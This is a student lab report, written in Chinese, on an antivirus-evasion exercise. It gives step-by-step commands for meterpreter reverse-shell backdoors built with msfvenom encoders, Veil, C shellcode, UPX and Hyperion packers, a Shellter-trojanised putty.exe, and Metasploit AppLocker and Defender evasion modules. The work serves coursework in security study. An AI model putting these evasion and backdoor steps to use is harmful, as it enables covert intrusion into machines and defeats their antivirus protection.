20174309徐宁艺 Exp3 免杀原理与实践
一、实验原理
免杀技术全称为反杀毒技术Anti Anti- Virus简称“免杀”,它指的是一种能使病毒木马免于被杀毒软件查杀的技术。
免杀的基本方式有改变特征码和改变行为
恶意软件检测机制有基于特征码检测、启发式恶意软件检测和基于行为的恶意软件检测。
二、实验过程
(一)正确使用msf编码器
1.后门文件检测
将实验二中生成的后门文件【4309_bavkdoor.exe】上传到VirusTotal或Virscan这两个网站进行扫描。
在VirusTotal上的扫描结果如下:
在Virscan上扫描结果如下:
这说明赤裸裸的后门程序是很难在装有杀软的主机正常运行的(但是还是有这么多杀软检测不出来也是很迷惑)。
2.msf编码
接下来我们使用msf编码器对后门程序进行编码后再检测。
在终端输入 msfconsole 进入mfs控制台,输入 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.152.129 LPORT=4309 -f exe > 4309_backdoor1.exe ,生成后在VirusTotal进行检测结果如下:
少了两个......效果可以忽略。
再用-i 指定次数为10,输入 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.152.129 LPORT=4309 -f exe > 4309_backdoor2.exe, 再在VirusTotal进行检测(因为Viscan比较卡):
它竟然还变多了........原因在指导书里也有,就当是验证一下了。
(二)msf生成如jar之类的其他文件
1.生成jar文件
输入 msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.152.129 LPORT=4309 x> 4309_backdoor_java.jar 生成jar文件,继续检测:
变少了!棒!
2.生成php文件
输入 msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.152.129 LPORT=4309 x> 4309_backdoor.php 生成php文件,检测:
哇好神奇!
(三)veil
1.veil安装
安装这一步真的是......花费了两天半的时间才终于在李浩然同学的帮助下安装好了。由于遇到的问题实在是太多了记不过来,毕竟两天半估计没有遇不到的问题了。建议就是所有的方法都试一试,说不定哪个就有用了呢。我最后解决之前遇到的问题是这样的:
解决方法:
apt-get remove veil //卸载veil apt-get update //我最后用的源是阿里云的 apt-get install veil-evasion cd /usr/share/veil/config/ vim setup.sh //250行有一个GitHub的链接,删掉,换成https://gitee.com/spears/VeilDependencies.git,然后保存退出 veil //默认选项安装即可 mkdir -p ~/.cache/wine cd ~/.cache/wine wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi apt-get remove veil //再卸掉veil apt-get install veil-evasion //如果要你run一下什么就按它要求来,我的是./usr/share/veil/config/setup.sh --force --silent veil //终于成功了,颤抖的双手
2.生成文件
输入 veil 进入,输入 use evasion 进入veil-evasion
输入 use c/meterpreter/rev_tcp.py 进入配置,输入
set LHOST 192.168.152.129 //kali的IP地址 set LPORT 4309 //端口号 generate //生成文件
然后输入文件名 4309,此时可以看到文件所在位置。
检测结果:
(四)c+shellcode编程
输入 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.152.129 LPORT=4309 -f c ,得到一段shellcode编码。
【touch】指令创建一个c文件,vim打开编辑,输入老师给的C语言代码:
使用 i686-w64-mingw32-g++ 4309.c -o 4309.exe 将c文件转为exe文件。
检测结果:
(五)加壳工具
1.UPX
输入 upx 4309.exe -o 4309_upxed.exe 给之前的文件加壳,简单也没什么效果
在Windows端运行,kali打开msf监控测试:
2.HYPERION
此处参考的博文链接 。安装代码如下:
git clone https://github.com/nullsecuritynet/tools/raw/master/binary/hyperion/release/Hyperion-1.2.zip unzip Hyperion-1.2.zip dpkg --add-architecture i386 apt-get update apt-get install wine32
在第一步的时候显示没有找到文件,我直接打开那个网址下载【Hyperion-1.2.zip】文件然后拷贝到kali下。
生成加密器代码:
cd Hyperion-1.2 i686-w64-mingw32-g++ -static-libgcc -static-libstdc++ Src/Crypter/*.cpp -o h.exe
加密过程出现了问题,我要加密的文件无法拷贝到【Hyperion-1.2】文件夹中,多次尝试无果,我把【Hyperion-1.2】文件夹中的所有文件复制到另一个文件夹,然后在把后门文件复制进去,输入 wine h.exe -v 4309-2.exe 4309_hyperion.exe 进行加密。
成功!在新建的那个文件夹里可以找到新生成的文件,拷贝到Windows下运行,
被发现啦,不过还是可以成功反弹回连的。
总结:这两个加壳工具都不太可。
(六)其他工具
在这里我使用的是shellter工具,此处参考博文链接。
1.shellter安装
使用命令 apt-get intsall shellter ,安装完以后出现输入文件名闪退的现象,没有查到原因就卸载后更新源重新安装了一遍,过程如下:
2.下载所需文件
在这个网站找到【Downloads for Windows on Arm】,选择【32-bit Arm:putty.exe】下载putty.exe。
3.使用shellter生成后门程序
将下载好的putty.exe文件(一定要是32位的)复制到 /home/xuningyi 目录下,终端 输入 shellter 打开shellter工具,首先选择模式:A-自动,M-管理者,H-帮助选项,这次我们选择【A】,然后输入文件路径。如果出现错误的话(比如【A backup of the file was not taken!】)可以切换root用户试试。
此时会将文件备份,输入【Y】选择隐身模式,出现几种链接方式,我们选择tcp链接,输入
【L】,然后输入【1】。
输入kali主机地址和端口号
此时的putty.exe文件已经含有后门,我们将它拷贝到Windows主机,杀软没有提醒(高兴的太早了)。
在msf端打开监控,在Windows端双击运行我们的后门文件。好嘛还是被杀软发现了。此时已经获得Windows端,因为跟上一次的后门文件位置不同,所以【dir】指令的结果也不太一样。
网站检测效果不咋地啊:
(七)组合技术实现免杀
因为shellter毕竟是个开源的免费工具,没有实现免杀,我们用hyperion来给它加个壳试试。也是把【putty.exe】文件复制到那个文件夹中,输入 wine h.exe putty.exe putty_hyperion.exe
复制到Windows端,kali反弹打开msf监控:
还是会被发现啊
还是方法太简单了吧,这些厂家都盯着呢肯定早就想到了。
在网上找了乱七八糟的资料,最后用了两个方法(其实是msf里面的两个模块)。
1.windows/applocker_evasion_install_util模块
参考链接。打开msf,输入指令:
use windows/applocker_evasion_install_util set payload windows/meterpreter/reverse_tcp set lhost 192.168.152.129 set lport 4309 run
然后可以找到文件的存储位置,拷贝到Windows下后需要用csc.exe编译一下
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:install_util.exe C:\Users\admin\Desktop\install_util.txt \\其实就是:[csc.exe位置] /out:[所要生成的文件名] [拷贝文件位置]
直接【install_util.exe】是运行不了的,需要借助【InstallUtil.exe】。
C:\Users\admin>C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false C:\Users\admin\install_util.exe
上面的【csc.exe】和【InstallUtil.exe】在【C:\Windows\Microsoft.NET\Framework】目录下找一找,我的exe文件的位置跟原文中写的不太一样,但是照着来也能实现。然后就是在Windows端运行exe、kali端监听了。
2.windows/window_defender_exe模块
参考链接。输入指令:
use windows/windows_defender_exe set FILENAME exp3_4309.exe set payload windows/meterpreter/reverse_tcp set LHOST 192.168.152.129 set LPORT 4309 exploit
可以找到生成目录,拷贝到windows运行、kali监听。
这个确实是最少的一个了。有感觉了。然后去加壳试试。
(八)免杀实测
杀软名称:360安全卫士
版本:
实测结果:
是用了查杀数最少的windows/window_defender_exe模块生成的后门文件在加壳。
三、实验总结
(一)基础知识问答
1.杀软是如何检测出恶意代码的?
(1)基于特征码检测:如果一个可执行文件(或其他运行的库、脚本等)包含特定的数据则被认为是恶意代码。
(2)启发式恶意软件检测:如果一个软件干的事通常是恶意软件才会干的,就可从中得到启发,把它看做是恶意软件。
(3)基于行为的恶意软件检测:相当于是启发式的一种,或者是加入了行为监控的启发式。通过对病毒多年的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。当程序运行时,进行检测,如果发现了病毒行为,立即报警。
2.免杀是做什么?
就是通过针对杀毒软件查杀恶意代码的原理,将恶意代码进行修改和包装,反过来使得恶意代码能够不被杀毒软件所检测和查杀,更好地植入到被攻击的主机中进行一些非法的操作。
3.免杀的基本方法有哪些?
(1)改变特征码
- 只有exe
- 加壳:压缩壳,加密壳
- 有shellcode
- 用encode进行编码
- 基于payload重新编译生成可执行文件
- 有源代码
- 用其他语言进行重写再编译(veil-evasion)
(2)改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码。
(二)实验总结与体会
我看很多同学做完这次实验以后都觉得我们的杀软不太行,但是我觉得杀软再怎么不行也比我的水平高很多(捂脸),测试网站上的那些软件我基本没有用过,但我自己电脑上的杀软在后门程序运行的时候检测结果还是很迅速且准确的,不过也确实没有之前那么信赖他们了,感觉这门课程是在一步步带领我们探索发现的,之前的实验让我觉得杀软很重要,这次实验却让我对他们产生怀疑,不知道后面的实验会带给我什么惊喜。还是之前的想法,学习这些技术是为了了解原理从而更好地进行防护,这才是课程学习的意义所在。
(三)开启杀软不能绝对防止电脑中恶意代码
这就很明显了吧,肯定是不可能的,且不说很多种方法可以做到免杀,大多数杀软可能防得了已经有的技术,但是人们的创新创造思维是无穷尽的。